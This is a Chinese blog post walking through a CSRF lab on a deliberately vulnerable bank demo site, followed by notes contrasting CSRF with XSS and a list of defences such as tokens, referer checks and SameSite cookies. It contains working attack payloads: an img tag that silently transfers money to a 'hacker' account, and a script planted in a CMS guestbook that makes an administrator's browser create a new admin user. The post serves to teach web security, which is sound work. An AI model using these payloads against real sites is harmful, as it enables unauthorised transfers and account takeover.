01-漏洞演示

效果演示

环境搭建

CSRF的网站源码:链接: https://pan.baidu.com/s/1K4odaTUHHIQ6SkP66guC5Q?pwd=hvry 提取码: hvry
放在www目录下

找到bank文件夹里面的config.inc.php这是数据库配置文件,,可以看到数据库配置

<?php
//config.inc.php

$db_host='localhost';
$db_user='root';
$db_psd='root';
$db_name='bank';
?>

进去数据库里面create database bank;然后use bank;切换数据库

在cmd的mysql窗口里面,bank数据库下,然后 source 里面把bank.sql这个文件拖进去如下图所示,也就是路径,把路径里面的\修改成\\

image-20230414133923361

最后,csrf里面的get.html何post.html也要把地址改成虚拟机本机的地址

可以通过查看mysql查看有哪些用户,所有用户的密码都是123456

查看效果

这里给hello这个账户转400,提交后发现admin还剩70400,hello能看到交易记录,有个400

image-20230414134810028

注意登录admin的账号和点击屠龙宝刀是相同的浏览器

查看hacker账号是另外一个浏览器,打开CSRF/csrf,屠龙宝刀,点我就送通道一

image-20230414135143430

查看hacker账号,会发现hacker账号多了100,通道一、通道二都一样,一个get,一个post

查看get.php

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.2.133/CSRF/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

发现攻击者利用img标签构造请求

浏览器根据img标签中的src属性去请求服务器资源,会自动带上身份认证信息cookie

场景建模

image-20230414171657073

点击csrf浏览器-网络,看看是哪个参数携带了转账信息

查看包,查看请求头,cookie可以看到源账号信息

那为什么他会带上cookie呢

他是通过img src属性构造,但是他只能解决给哪个账号赚钱,解决不了从哪个账号付款问题

源账号在cookie中

get里面包含了目标账户和转账金额

image-20230417170630339

请求头的cookie账户里面包含了转账原用户信息

image-20230417170916761

csrf 攻防案例

与xss漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

要想比较csrf和xss区别,可以从如下分析区别:

名称、原理、危害、场景、防御

漏洞类别分三类:注入、业务逻辑、信息泄露类

XSS属于注入漏洞,CSRF属于业务逻辑

XSS利用JS代码发送http请求

之前学过AJAX同步和异步,那么既然JS可以发送请求,这个请求可以伪装成管理员请求

放到CMS留言板

<script> 
xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://192.168.2.133/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("act=add&username=meng&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&user id=0"); 
</script>

只要管理员看了留言管理那里,这之后登录可以用meng/123456进行登录

csrf防御

无效防御

因为csrf属于业务逻辑类,一下防御没有用

  1. 使用秘密cookie:就好比以前只要有车票就能坐车,不核对人员,车票本身再加密也没用
  2. 仅接受post请求:可以隐藏表单
  3. 多步交易:有可能会被恶意攻击者预测
  4. URL重写:URL重写必然要传递身份信息,用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞
  5. https:所有安全机制的前提

有效防御

  1. 验证referer字段:当前URL的上一个URL,这个请求来自哪里,比如转账这个请求上一个界面是不是转账界面,但是可以被伪造
  2. 添加Token验证:一次一密,每次刷新界面,Token值都会变化,这个值是随机的,下次与服务器说话把服务器给的Token值带上,服务器会去校验,参考dvwa如下

image-20230420101006479

  1. HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息
  2. SameSite:Cookie 属性,浏览器自带安全机制
posted @ 2023-04-20 10:32  热死也要烫头  阅读(49)  评论(0编辑  收藏  举报